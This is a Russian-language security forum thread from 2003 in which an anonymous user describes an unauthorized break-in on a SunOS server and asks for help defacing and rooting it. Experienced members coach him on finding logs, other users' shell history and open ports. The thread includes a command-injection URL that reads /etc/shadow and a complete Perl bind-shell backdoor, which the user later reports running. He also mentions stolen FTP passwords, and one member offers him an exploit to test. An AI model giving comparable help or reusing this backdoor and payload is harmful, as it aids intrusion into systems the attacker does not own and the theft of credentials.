информационная безопасность
без паники и всерьез
 подробно о проектеRambler's Top100
Spanning Tree Protocol: недокументированное применениеСетевые кракеры и правда о деле Левина
BugTraq.Ru
Русский BugTraq
 Анализ криптографических сетевых... 
 Модель надежности двухузлового... 
 Специальные марковские модели надежности... 
 Очередное исследование 19 миллиардов... 
 Оптимизация ввода-вывода как инструмент... 
 Зловреды выбирают Lisp и Delphi 
главная обзор RSN блог библиотека закон бред форум dnet о проекте
bugtraq.ru / форум / operating systems
Имя Пароль
если вы видите этот текст, отключите в настройках форума использование JavaScript
ФОРУМ
все доски
FAQ
IRC
новые сообщения
site updates
guestbook
beginners
sysadmin
programming
operating systems
theory
web building
software
hardware
networking
law
hacking
gadgets
job
dnet
humor
miscellaneous
scrap
регистрация





Легенда:
  новое сообщение
  закрытая нитка
  новое сообщение
  в закрытой нитке
  старое сообщение
[Unix] Кросс-Компиляция 23.09.03 14:45  Число просмотров: 1839
Автор: NKritsky <Nickolay A. Kritsky> Статус: Elderman
<"чистая" ссылка>
> А обязательно ли компилить эксплоиты на удаленном серваке?
> Можно ведь это сделать у себя, а потом закачать туда? у
> меня такое чувство, что gcc или там нету, или прав не
> хватает:(

Наверное можно и у себя скомпилить. Но для этого твой gcc должен поддерживать кросс-компиляцию с target=SunOS 5.7 . Но это все AFAIK. Если кто знает точнее - поправьте плз. Спроси про это в programming.
<operating systems>
[Unix] Несколько вопросов к SunOs 5.7 17.09.03 14:15   [vaborg]
Автор: Hux0r Статус: Незарегистрированный пользователь
<"чистая" ссылка>
Получил доступ юзера на серваке под управлением SunOs, хочу дефейснуть, но перед этим хотелось бы узнать:

1) Какой командой можно узнать историю команд
2) Список процессов? "ps" не работает...
3) Апач запущен от имени того пользователя(!), с чьими правами я сижу, но где этот апач, непойму, где найти его логи?
4) И вообще, когда я даю команду ls -al применительно к какой-нибудь директории, все происходит не как обычно на linux:
мне выдается просто список в столбик без прав доступа, владельцев и пр. Как же так?
4) Существуют ли эксплоиты для данной оси, хотелось бы, конечно, зарутить, чем дефейсить и потерять завтра же этот сервак :)
[Unix] Несколько вопросов к SunOs 5.7 18.09.03 17:50  
Автор: NKritsky <Nickolay A. Kritsky> Статус: Elderman
<"чистая" ссылка>
> Получил доступ юзера на серваке под управлением SunOs, хочу
> дефейснуть, но перед этим хотелось бы узнать:

0. Дефэйс - это плохо.

>
> 1) Какой командой можно узнать историю команд

какой шелл юзаешь?

> 2) Список процессов? "ps" не работает...

что значит не работает? Как ты его запускал? Что получил в ответ? Читал ли `man ps'

> 3) Апач запущен от имени того пользователя(!), с чьими
> правами я сижу, но где этот апач, непойму, где найти его
> логи?

Апач может быть где угодно. /www /apache /httpd Плюс то же самое в каталогах /export , /sfw , /opt ,/usr ,/usr/local . А логи он скорее всего складывает куда-нибудь в /var.

> 4) И вообще, когда я даю команду ls -al применительно к
> какой-нибудь директории, все происходит не как обычно на
> linux:
> мне выдается просто список в столбик без прав доступа,
> владельцев и пр. Как же так?

это странно, на 5.8 и 5.9 ls -al работал нормально. Почитай `man ls' , попробуй сделать 'ls -al >resultfile` и посмотреть на этот файл у себя. Может там проблема с шириной колонки?

> 4) Существуют ли эксплоиты для данной оси, хотелось бы,
> конечно, зарутить, чем дефейсить и потерять завтра же этот
> сервак :)

Под 5.7 по-моему были эксплойты. Ищи на WWW.
[Unix] Уточнение 23.09.03 08:52  
Автор: Hux0r Статус: Незарегистрированный пользователь
<"чистая" ссылка>
> какой шелл юзаешь?
да наверное bash, дело в том что я даже tty не имею. Исполняю команды благодаря некоему дырявому скрипту.
И как в этом случае поглядеть историю команд?
> 2) Список процессов? "ps" не работает...
пардон, работает, там ключи другие ;)

> 4) И вообще, когда я даю команду ls -al применительно
> к
> > какой-нибудь директории, все происходит не как обычно
> на
> > linux:
> > мне выдается просто список в столбик без прав доступа,
> > владельцев и пр. Как же так?
>
> это странно, на 5.8 и 5.9 ls -al работал нормально. Почитай
> `man ls' , попробуй сделать 'ls -al >resultfile` и
> посмотреть на этот файл у себя. Может там проблема с
> шириной колонки?
Нет никакой проблемы, man ls точно такой же что и , например, в asplinux. Но выводитсятолькосписок файлов, странно...
[Unix] и еще... 23.09.03 09:05  
Автор: Hux0r Статус: Незарегистрированный пользователь
<"чистая" ссылка>
У меня опыта в этом собственно нет, и я хотел бы узнать как забиндить порт на этом серваке, чтоб нормально к нему прителнетится.
например, залил я на сервак скрипт такого содержания:
 
#!/usr/bin/perl
$shell = "bin/bash -i";   #            
$Port = "55";                           
$Protocol = getprotobyname("tcp");                     
use Socket;
socket (S, &PF_INET(), SOCK_STREAM(), $Protocol|die "Cant create socket\n");
setsockopt(S, SOL_SOCKET, SOREUSEADDR,1);
bind (S, sockaddr_in($Port, INADDR_ANY))|die "Cant open port\n";
listen (S,3)|die "Cant listen port\n";
while(1)
{
 accept(CONN, S);
 if(! ($pid=fork))
{
 	  die "Cannot fork\n" if (! defined $pid);
	  open STDIN,"<&CONN";
	  open STDOUT,">&CONN";
	  open STDERR,">&CONN";
	  exec $shell|die print CONN "Cant exec $shell\n";
	  close CONN;
	  exit 0;
}
}


---
пытаюсь запустить его:
perl /home/www/cgi-bin/backdoor.pl
никакого эффекта, процесса такого не создается.
путь указанный в заголовке скрипта к перлу совпадает с истинным.
perl запускать имею право:
-rwxr-xr-x 2 root root 527888 Aug 10 2000 perl

Что я сделал неправильно?
[Unix] Есть подозрение, что ты оказываешься в каком-то неправильном окружении. 23.09.03 09:31  
Автор: Ktirf <Æ Rusakov> Статус: Elderman
<"чистая" ссылка>
> пытаюсь запустить его:
> perl /home/www/cgi-bin/backdoor.pl
> никакого эффекта, процесса такого не создается.
А если stdout и stderr перенаправить в netcat (кстати, netcat там есть?) и посмотреть, о чем ругается?

Фишки навроде "кривого" ls могут быть, если ls - это алиас. Вообще, установкой "странного" окружения можно добиться удивительных вещей ;)
[Unix] как перенаправить stderr? 23.09.03 13:14  
Автор: Hux0r Статус: Незарегистрированный пользователь
<"чистая" ссылка>
> А если stdout и stderr перенаправить в netcat (кстати,
> netcat там есть?) и посмотреть, о чем ругается?
netcat есть
А как перенаправить stderr в неткат или к себе на консоль?
[Unix] some info 23.09.03 09:26  
Автор: NKritsky <Nickolay A. Kritsky> Статус: Elderman
<"чистая" ссылка>
1. По поводу истории команд. Я кажется понял - ты хочешь посмотреть не свою историю команд, а чью-то?
Если ты хочешь посмотреть чью-то историю команд, то ты должен выяснить какими шеллами он может пользоваться ( самый простой способ - `grep $username /etc/passwd' ) , прочитать ман к соответствующему шеллу, и действовать как написано в мане.
2. По поводу дырявого скрипта.
NB! Товарищ, помни о stderr!
Если ты выполняешь команды через дырявый перловый скрипт который делает open() с твоим аргументом, помни что в пайп попадет только stdout. А stderr пойдет в error_log апача. Поэтому если ты сделаешь что-то вроде href="http://victim.org/cgi-bin/cart.pl?template=/bin/cat%20/etc/shadow target=_blank rel="nofollow">http://victim.org/cgi-bin/cart.pl?template=/bin/cat%20/etc/shadow| то ты не увидишь надписи "/etc/shadow: permission denied ". Но и пасс-файла не увидишь.
3. Теперь о твоем скрипте. Во-первых замени все die на print();exit; (см. п.2). Во-вторых, ты пытался запустить этот скрипт на своей системе? Если да, то спрошу, ты пытался запустить этот скрипт на своей системене_из_под_рута? Ты ж там 55-й порт байндишь!!!
4. По поводу ls -al. Я не знаю почему он не работает. Когда зарутишь сервак, расскажешь нам в чем было дело. Команду ls -al можно заменить командой find с необходимыми аргументами. Необходимые аргументы оставляю найти тебе самому.
[Unix] some info 23.09.03 10:55  
Автор: Hux0r Статус: Незарегистрированный пользователь
<"чистая" ссылка>
> 1. По поводу истории команд.
Ок, нашел хистори, спасибо. /home/root/.bash_history
> 2. По поводу дырявого скрипта.
> NB! Товарищ, помни о stderr!
Да, теперь я понял ;)
> 3.
забиндил 30002 порт, работает! шайтан.
правда с фтп-шными паролями которые я успешно нашел в bak-ах (теперь у меня есть доступ по фтп для некоторых юзеров) не залогинишся ;(
Пойду эксплоиты искать... Может где-нибудь есть у Вас ссылочки, а?:)
[Unix] some info 23.09.03 11:39  
Автор: NKritsky <Nickolay A. Kritsky> Статус: Elderman
<"чистая" ссылка>
> забиндил 30002 порт, работает! шайтан.
> правда с фтп-шными паролями которые я успешно нашел в
> bak-ах (теперь у меня есть доступ по фтп для некоторых
> юзеров) не залогинишся ;(
> Пойду эксплоиты искать... Может где-нибудь есть у Вас
> ссылочки, а?:)

Ссылочки у нас простые - www.google.com :)
Если есть терпение, можешь сам попробовать написать эксплойт. Я сейчас как раз пытаюсь написать. Сделаю, дам тебе на тестирование. Если сделаю :-(
[Unix] по эксплоитам 23.09.03 11:54  
Автор: Hux0r Статус: Незарегистрированный пользователь
<"чистая" ссылка>

> Ссылочки у нас простые - www.google.com :)
> Если есть терпение, можешь сам попробовать написать
> эксплойт. Я сейчас как раз пытаюсь написать. Сделаю, дам
> тебе на тестирование. Если сделаю :-(

А обязательно ли компилить эксплоиты на удаленном серваке? Можно ведь это сделать у себя, а потом закачать туда? у меня такое чувство, что gcc или там нету, или прав не хватает:(
[Unix] Кросс-Компиляция 23.09.03 14:45  
Автор: NKritsky <Nickolay A. Kritsky> Статус: Elderman
<"чистая" ссылка>
> А обязательно ли компилить эксплоиты на удаленном серваке?
> Можно ведь это сделать у себя, а потом закачать туда? у
> меня такое чувство, что gcc или там нету, или прав не
> хватает:(

Наверное можно и у себя скомпилить. Но для этого твой gcc должен поддерживать кросс-компиляцию с target=SunOS 5.7 . Но это все AFAIK. Если кто знает точнее - поправьте плз. Спроси про это в programming.
[Unix] Все правильно сказал, нужно либо иметь у себя SunOS 5.7, либо кросскомпилировать. 23.09.03 14:56  
Автор: Ktirf <Æ Rusakov> Статус: Elderman
<"чистая" ссылка>
[Unix] вопрос... 23.09.03 16:17  
Автор: Hux0r Статус: Незарегистрированный пользователь
<"чистая" ссылка>
Еще такой вопрос, из удаленной консоли возможно ли узнать какие порты сейчас открыты?
И вообще как узнать ip сервака? (дурацкий может быть вопрос)
Имени сервака (через hostname) кажется нет в базе dns, немогу ip определить.
[Unix] эх маны, маны... 23.09.03 17:37  
Автор: NKritsky <Nickolay A. Kritsky> Статус: Elderman
<"чистая" ссылка>
> И вообще как узнать ip сервака? (дурацкий может быть
> вопрос)
> Имени сервака (через hostname) кажется нет в базе dns,
> немогу ip определить.

ifconfig -a
[Unix] вопрос... 23.09.03 17:34  
Автор: Ktirf <Æ Rusakov> Статус: Elderman
<"чистая" ссылка>
> Еще такой вопрос, из удаленной консоли возможно ли узнать
> какие порты сейчас открыты?
Может там на машине еще и nmap найдется? :) А если серьезно, то netstat'ом, конечно.

> И вообще как узнать ip сервака? (дурацкий может быть
> вопрос)
> Имени сервака (через hostname) кажется нет в базе dns,
> немогу ip определить.
Например, попытаться установить соединение с той машиной, за которой сидишь, и посмотреть, откуда идет соединение.
[Unix] спасибо 26.09.03 08:43  
Автор: Hux0r Статус: Незарегистрированный пользователь
<"чистая" ссылка>
> серьезно, то netstat'ом, конечно.
да, круто, теперь я не слепой ;)
> Например, попытаться установить соединение с той машиной,
> за которой сидишь, и посмотреть, откуда идет соединение.
логично, попробую

ipconfig -a не работает, прав видать не хватает

Я может уже достал своими вопросами, но как перенаправить stderr (когда я пользуюсь дырявым скриптом) ко мне на экран а не в err-log апача?
[Unix] да на здоровье. 26.09.03 09:26  
Автор: NKritsky <Nickolay A. Kritsky> Статус: Elderman
<"чистая" ссылка>
> ipconfig -a не работает, прав видать не хватает

ifcgonfig -a
f а не p - ты ж не в CHICAGO, моя дорогая. :-)

> Я может уже достал своими вопросами, но как перенаправить
> stderr (когда я пользуюсь дырявым скриптом) ко мне на экран
> а не в err-log апача?

Попробуй написать свой дырявый скрипт, который будет подхватывать stderr. И залей туда через существующий.
Как написать такой скрипт я тебе говорить не буду - пошевели немного мозгом - книжку почитай по перлу, по шеллу.
[Unix] да какое уж там здоровье ) 26.09.03 09:37  
Автор: Hux0r Статус: Незарегистрированный пользователь
<"чистая" ссылка>
> ifcgonfig -a
> f а не p - ты ж не в CHICAGO, моя дорогая. :-)
Ну описался я, подумаешь:)
ipconfig -a конечно, но не отрабатывает с правами nobody, причем на многих серваках (у меня таких три :))

> Попробуй написать свой дырявый скрипт, который будет
пишу.
[Unix] Странно... 26.09.03 09:43  
Автор: NKritsky <Nickolay A. Kritsky> Статус: Elderman
<"чистая" ссылка>
# id -a
uid=60001(nobody) gid=60001(nobody) groups=60001(nobody)
# ifconfig -a
lo0: flags=1000849<UP,LOOPBACK,RUNNING,MULTICAST,IPv4> mtu 8232 index 1
        inet 127.0.0.1 netmask ff000000 
eri0: flags=1004843<UP,BROADCAST,RUNNING,MULTICAST,DHCP,IPv4> mtu 1500 index 2
        inet <skipped>

---

Вроде все работает.
[Unix] руки у меня однако кривые 26.09.03 10:01  
Автор: Hux0r Статус: Незарегистрированный пользователь
<"чистая" ссылка>
if_c_onfig -a - упорно пишу русскую "с" :)
конечно все работает, пардон :)
1




Rambler's Top100
Рейтинг@Mail.ru


  Copyright © 2001-2025 Dmitry Leonov   Page build time: 0 s   Design: Vadim Derkach